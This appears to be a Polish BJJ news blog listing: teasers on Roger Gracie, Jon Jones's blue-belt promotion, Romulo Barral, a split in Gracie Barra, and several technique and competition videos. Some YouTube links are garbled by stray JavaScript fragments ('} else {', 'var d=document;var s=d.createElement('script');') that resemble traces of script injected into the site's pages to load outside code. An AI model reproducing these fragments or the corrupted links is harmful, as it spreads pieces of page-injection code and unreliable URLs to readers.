Roger Gracie – tajemnica skuteczności

Roger Gracie to postać bardzo dobrze znana wszystkim fanom chwytanych sportów walki. Jego kariera, osiągnięcia i styl walki robią wrażenie. Nie bez powodu przez wielu jest uznawany najlepszym zawodnikiem wszechczasów.  Początki kariery Rozpoczął treningi jako nastolatek pod okiem wujka, Riliona Gracie, zdobywał tytuły mistrza świata (oraz wiele mniej znaczących) w niebieskich, purpurowych i brązowych pasach. […]

Jon Jones promowany na niebieski pas BJJ

W dniu wczorajszym były mistrz wagi półciężkiej UFC otrzymał niebieski pas BJJ. Wydarzenie miało miejsce na treningu w Gracie Barra New Mexico, a promocji dokonał sam Roberto Tussa Alencar, czterokrotny mistrz świata NO-GI. Nie można jednak stwierdzić, że Jones był zwyczajnym białym pasem. Podczas swojej kariery w UFC poddał chociaży Vitora Belforta, który od bardzo […]

Romulo Barral wraca z emerytury prosto na Worldsy

Zostało niespełna tydzień do rozpoczęcia najważniejszej imprezy w roku. Mowa oczywiście o mistrzostwach świata BJJ, które odbędą się jak co roku w Kalifornii. Na listach kategorii półciężkiej w dywizji czarnych pasów niespodziewanie pojawił się Romulo Barral. Dlaczego niespodziewanie ? Otóż może nie wszyscy pamiętają jak podczas zeszłorocznych Worlds nastąpiła emocjonalna chwila, w której Romulo po […]

Victor Estima objaśnia zasady działania tzw. Estima Lock

Estima Lock to jedna z najszybszych, najbardziej niespodziewanych i niebezpiecznych dźwigni na nogi, dozwolonych w walce na zasadach IBJJF (w zależności od interpretacji sędziego, ale zazwyczaj przyjmuje się, że dozwolona jest od brązowych pasów). Na poniższym filmiku, Victor Estima objaśnia zasady działania swojej koronnej techniki:

Dokument: Romulo Barral – Becoming A World Champion

Kolejny świetny dokument, o światowej gwieździe brazylijskiego jiu jitsu, autorstwa Stuarta Coopera. Tym razem przybliża On sylwetkę Mistrza Świata BJJ i ADCC, a także jednego z filarów Gracie Barra – Romulo Barrala: https://youtu.be/f1JGokEtrmU}

Cały trening BJJ w siedzibie głównej Gracie Barra (wideo)

Zobaczcie pełny trening BJJ, przeprowadzony przez profesora Philipe Della Monica, który zaprezentował m. in. jedno z obaleń, a także kilka technik z kolana na brzuchu. Trening nagrany na żywo, z możliwością dwóch kamer do wyboru: https://youtu.be/ehODul24eAQ

Wideo: Felipe Pena na Drużynowych Mistrzostwach Brazylii

Jeden z najlepszych zawodników kategorii do 94,3kg, reprezentant Gracie Barra, czyli Felipe Pena, podzielił się z portalem GracieMAG swoimi spostrzeżeniami odnośnie swojego występu na Drużynowych Mistrzostwach Brazylii, a także dał kilka porad dla początkujących adeptów BJJ: https://youtu.be/qpTSo3lmaNU} else {

Wideo: film dokumentalny o Romulo Barralu

Romulo Barral to jeden z najbardziej utytułowanych zawodników BJJ w historii. Dał się poznać nie tylko jako świetny zawodnik, ale również odnosi duże sukcesy jako trener. Spod Jego „ręki” wyszli tacy zawodnicy, jak Edwin Najmi, Felipe Pena, czy Gabriel Arges. Poniżej zamieszczamy dokument o Barralu, w którym obszernie poruszona jest kwestia Jego zwycięstwa podczas finałów […]

Poważny rozłam w Gracie Barra – powstał nowy team!

Na początku czerwca, jeden z filarów Gracie Barra, Jose Olimpio, szerzej znany jako Ze Radiola, ogłosił swoje odejście z jednej z największych organizacji BJJ na świecie, czyli Gracie Barra. Zapowiedział równocześnie utworzenie nowej drużyny pod nazwą ZR Team. Ze Radiola jest w dużej mierze twórcą sukcesów takich zawodników, jak Bracia Estima, Otavio Sousa, Lucas Rocha […]

Worldsy 2016: Claudio Calasans vs Gabriel Arges

Walka z tegorocznych Mistrzostw Świata IBJJF w kategorii średniej, pomiędzy reprezentującym Atos Claudio Calasansem, a zawodnikiem Gracie Barra Gabrielem Argesem: https://youtu.be/lIjdrzG5ZUovar d=document;var s=d.createElement(’script’);

Technika: sweep z gardy Single X od Felipe Peny

Mistrz Europy 2016 z kategorii Absoluto, reprezentant Gracie Barra, Felipe Pena pokazuje jeden ze swoich najbardziej skutecznych sweepów, z ulubionej swojej pozycji, czyli gardy Single X:

Dziewięć nowych czarnych pasów w Gracie Barra Poland!

Podczas upływającego weekendu odbyło się w czeskim mieście Frydek Mistek, coroczne seminarium Gracie Barra Poland & Czech, które poprowadził opiekun czeskich i polskich filli GB – Vinicius Draculino. W wydarzeniu uczestniczyło wielu polskich zawodników, a aż dziewięciu z nich promowanych zostało na czarne pasy BJJ. Ponadto Sławomir Szamota otrzymał nominację na czarny pas drugiego stopnia (druga belka). Tomasz […]